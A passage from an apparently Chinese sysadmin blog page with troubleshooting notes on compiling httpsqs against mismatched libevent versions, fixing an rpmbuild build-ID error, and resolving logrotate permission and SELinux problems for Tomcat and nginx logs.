error: Bad exit status from /home/test/rpmbuild/tmp/rpm-tmp.OyM3VG (%build)
果然:
grep -r "libevent-2.0" ./
Binary file ./httpsqs matches

[root@  httpsqs]# stat httpsqs
  File: `httpsqs'
  Size: 20184           Blocks: 40         IO Block: 4096   regular file
Device: fc01h/64513d    Inode: 1066707     Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-05-22 17:58:26.000000000 +0800
Modify: 2017-05-22 17:58:26.000000000 +0800
Change: 2017-05-22 17:58:50.635000020 +0800
[root@  httpsqs]# ldd httpsqs
        linux-vdso.so.1 =>  (0x00007ffd27464000)
        libevent-2.0.so.5 => not found
        libtokyocabinet.so.9 => /usr/local/tokyocabinet/lib/libtokyocabinet.so.9 (0x00007fed13df0000)
        libz.so.1 => /lib64/libz.so.1 (0x0000003cf6c00000)
        libbz2.so.1 => /lib64/libbz2.so.1 (0x0000003cfc000000)
        librt.so.1 => /lib64/librt.so.1 (0x0000003cf7c00000)
        libpthread.so.0 => /lib64/libpthread.so.0 (0x0000003cf7400000)
        libm.so.6 => /lib64/libm.so.6 (0x0000003cf8000000)
        libc.so.6 => /lib64/libc.so.6 (0x0000003cf7000000)
        /lib64/ld-linux-x86-64.so.2 (0x0000003cf6800000)
但是编译是从这儿编译的:
rpm -qa|grep libevent
libevent-devel-1.4.13-4.el6.x86_64
libevent-1.4.13-4.el6.x86_64
libevent-doc-1.4.13-4.el6.noarch
libevent-headers-1.4.13-4.el6.noarch
难怪了,原来写二进制里面了:^@^@^@^@^@^@^@^@libevent-2.0.so.5^@__gmon_start__^@_Jv_RegisterClass
稍微深入到源码看一下:

rpm2cpio libevent-2.0.22-170116172306.el6.x86_64.rpm |cpio -div
/usr/local/libevent/include/event2/http_struct.h

httpsqs.c:350: error: ‘struct evhttp_request’ has no member named ‘uri_elems’

struct evhttp_request{#57行到123行都是这个结构体的,而这个uri_elems定义在在98行。
  struct evhttp_uri *uri_elems;   /* uri elements */
}

张宴兄弟的源码里文件之httpsqs.c:350行:
350         httpsqs_query_part = evhttp_uri_get_query(req->uri_elems);

而旧的版本没有这个http_struct.h文件及结构体,如下:
rpm -ql libevent-headers-1.4.13-4.el6.noarch
/usr/include/evdns.h
/usr/include/event-config.h
/usr/include/event.h
/usr/include/evhttp.h
/usr/include/evrpc.h
/usr/include/evutil.h

所以,张宴兄弟的说法不成立。


还不放心,看一下源码包,不看RPM包,有可能RPM包没有打进来?
http://pkgs.fedoraproject.org/repo/pkgs/libevent/libevent-1.4.13-stable.tar.gz/
DownLoad:http://pkgs.fedoraproject.org/repo/pkgs/libevent/libevent-1.4.13-stable.tar.gz/0b3ea18c634072d12b3c1ee734263664/libevent-1.4.13-stable.tar.gz
解压后,再用Editplus查找:uri_elems,并没有找到这个结构体变量,如下:
-- 在文件中查找: uri_elems in E:\download\libevent-1.4.13-stable excl *.* --
找到 0 个事件 (在 0 个文件中)。
输出完成 (耗时 0 秒)

So,张宴兄弟长时间没有看这块代码,应该是记错了!!!



在Fedora14中打rpm包,是没有/usr/src/redhat这个目录的,而是要建立~/rpmbuild目录,并建立SOURCES、SPECS、RPMS等相应目录。其它步骤相同。
但是在rpmbuild -ba时,遇到如下错误:
*** ERROR: No build ID note found in /home/wuyang/rpmbuild/BUILDROOT/******
error: Bad exit status from /var/tmp/rpm-tmp.BPd1OI (%install)


gcc -o httpsqs httpsqs.c prename.c -Wl,-rpath,/usr/local/libevent/lib/:/usr/local/tokyocabinet/lib/ -L/usr/local/libevent/lib/ -levent -L/usr/local/tokyocabinet/lib/ -ltokyocabinet -I/usr/local/libevent/include/ -I/usr/local/tokyocabinet/include/ -lz -lbz2 -lrt -lpthread -lm -lc -O2 -g
修改为:
gcc -o httpsqs httpsqs.c prename.c -Wl,-rpath,/usr/lib64:/usr/local/tokyocabinet/lib/ -L/usr/lib64 -levent -L/usr/local/tokyocabinet/lib/ -ltokyocabinet -I/usr/include/ -I/usr/local/tokyocabinet/include/ -lz -lbz2 -lrt -lpthread -lm -lc -O2 -g
[root@yum_rpmbuild-centos6_bj_sjs_10_71_183_1** httpsqs-1.7]# gcc -o httpsqs httpsqs.c prename.c -Wl,-rpath,/usr/lib64:/usr/local/tokyocabinet/lib/ -L/usr/lib64 -levent -L/usr/local/tokyocabinet/lib/ -ltokyocabinet -I/usr/include/ -I/usr/local/tokyocabinet/include/ -lz -lbz2 -lrt -lpthread -lm -lc -O2 -g
httpsqs.c: In function ‘httpsqs_handler’:
httpsqs.c:350: error: ‘struct evhttp_request’ has no member named ‘uri_elems’

rpm -ql libevent-1.4.13-4.el6.x86_64
/usr/lib64/libevent-1.4.so.2
/usr/lib64/libevent-1.4.so.2.1.3
/usr/lib64/libevent_core-1.4.so.2
/usr/lib64/libevent_core-1.4.so.2.1.3
/usr/lib64/libevent_extra-1.4.so.2
/usr/lib64/libevent_extra-1.4.so.2.1.3
/usr/share/doc/libevent-1.4.13
/usr/share/doc/libevent-1.4.13/README
rpm -ql libevent-devel-1.4.13-4.el6.x86_64
/usr/bin/event_rpcgen.py
/usr/lib64/libevent.a
/usr/lib64/libevent.so
/usr/lib64/libevent_core.a
/usr/lib64/libevent_core.so
/usr/lib64/libevent_extra.a
/usr/lib64/libevent_extra.so
/usr/share/man/man3/evdns.3.gz
/usr/share/man/man3/event.3.gz
rpm -ql libevent-headers-1.4.13-4.el6.noarch
/usr/include/evdns.h
/usr/include/event-config.h
/usr/include/event.h
/usr/include/evhttp.h
/usr/include/evrpc.h
/usr/include/evutil.h




解决方法是在.spec文件中任意位置添加如下参数:
%define __debug_install_post   \
   %{_rpmconfigdir}/find-debuginfo.sh %{?_find_debuginfo_opts} "%{_builddir}/%{?buildsubdir}"\
%{nil}

重新打包,即可。
另外最后生成的rpm包是在/RPMS/i686中

来自:http://blog.csdn.net/onlyou930/article/details/6995645
背景:CentOS7版本,出现执行完了后,并没有真的分割,这奇怪了,方向应该是这个方向,开源就有这个问题,老是出现各种问题。。。。搜索引擎很重要。
多了个-d参数代表只执行预演调试而不实际执行归档操作,配置输出的日志如下:
情况一:chown -R root:root  /usr/local/tomcat/conf/tomcat.logrotate
logrotate -v -f -d  /usr/local/tomcat/conf/tomcat.logrotate                
reading config file /usr/local/tomcat/conf/tomcat.logrotate
olddir is now oldlogs
Allocating hash table for state file, size 15360 B

Handling 1 logs

rotating pattern: /data/logs/tomcat/*.log  forced from command line (30 rotations)
olddir is oldlogs, empty log files are not rotated, old logs are removed
considering log /data/logs/tomcat/catalina.log
  log needs rotating
considering log /data/logs/tomcat/localhost-access.log
  log does not need rotating (log is empty)considering log /data/logs/tomcat/localhost.log
  log does not need rotating (log is empty)rotating log /data/logs/tomcat/catalina.log, log->rotateCount is 30
dateext suffix '-20170515'
glob pattern '-[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
glob finding old rotated logs failed
copying /data/logs/tomcat/catalina.log to /data/logs/tomcat/oldlogs/catalina.log-20170515
truncating /data/logs/tomcat/catalina.log
发现还是没有真的拷贝到里面:
分割日志时报错:error: skipping "/var/log/nginx/test.access.log" because parent directory has insecure permissions (It's world writable or writable by group which is not "root") Set "su" directive in config file to tell logrotate which user/group should be used for rotation.
答:添加“su root list”到/etc/logrotate.d/nginx文件中即可
如下;
/var/log/nginx/*.log {
        su root list
        daily
        missingok
        rotate 52
        compress
        delaycompress
        notifempty
        #ifempty
        create 0640 www-data adm
        sharedscripts
        postrotate
                [ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`
        endscript
}
chmod -R 640 /data/logs/tomcat/
不行的,这一个国外网站有写:https://ma.ttias.be/logrotate-on-rhelcentos-7-complains-about-insecure-permissions-on-parent-directory-world-writable/
来个中文的:https://blog.longwin.com.tw/2016/01/logrotate-perm-modify-rotete-failed-2016/
switching euid to 0 and egid to 1022
tomcat的组Id:1022
[codes]
/data/logs/tomcat/*.log {
    su root tomcat                                                                                                
    daily
    rotate 30
    missingok
    dateext
    notifempty
    #create 0644 tomcat root
    copytruncate
    olddir oldlogs
}
[/codes]

logrotate -v -f -d  /usr/local/tomcat/conf/tomcat.logrotate
reading config file /usr/local/tomcat/conf/tomcat.logrotate
olddir is now oldlogs
Allocating hash table for state file, size 15360 B

Handling 1 logs

rotating pattern: /data/logs/tomcat/*.log  forced from command line (30 rotations)
olddir is oldlogs, empty log files are not rotated, old logs are removed
switching euid to 0 and egid to 1022
considering log /data/logs/tomcat/catalina.log
  log needs rotating
considering log /data/logs/tomcat/localhost-access.log
  log does not need rotating (log is empty)considering log /data/logs/tomcat/localhost.log
  log does not need rotating (log is empty)rotating log /data/logs/tomcat/catalina.log, log->rotateCount is 30
dateext suffix '-20170515'
glob pattern '-[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
glob finding old rotated logs failed
copying /data/logs/tomcat/catalina.log to /data/logs/tomcat/oldlogs/catalina.log-20170515
truncating /data/logs/tomcat/catalina.log
switching euid to 0 and egid to 0


情况二:selinux影响:
access("/etc/selinux/config", F_OK)     = 0
open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 4

service selinux stop
Redirecting to /bin/systemctl stop  selinux.service
Failed to stop selinux.service: Unit selinux.service not loaded.


chcon -Rv --type=var_log_t /data/logs/tomcat
正在更改"/data/logs/tomcat/localhost.log" 的安全环境
chcon: 部分关联无法应用于文件"localhost.log"
正在更改"/data/logs/tomcat/catalina.log" 的安全环境
chcon: 部分关联无法应用于文件"catalina.log"
正在更改"/data/logs/tomcat/oldlogs" 的安全环境
chcon: 部分关联无法应用于文件"oldlogs"
正在更改"/data/logs/tomcat/localhost-access.log" 的安全环境
chcon: 部分关联无法应用于文件"localhost-access.log"
正在更改"/data/logs/tomcat" 的安全环境
chcon: 部分关联无法应用于文件"/data/logs/tomcat"
分页: 5/24 第一页 上页 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 下页 最后页 [ 显示模式: 摘要 | 列表 ]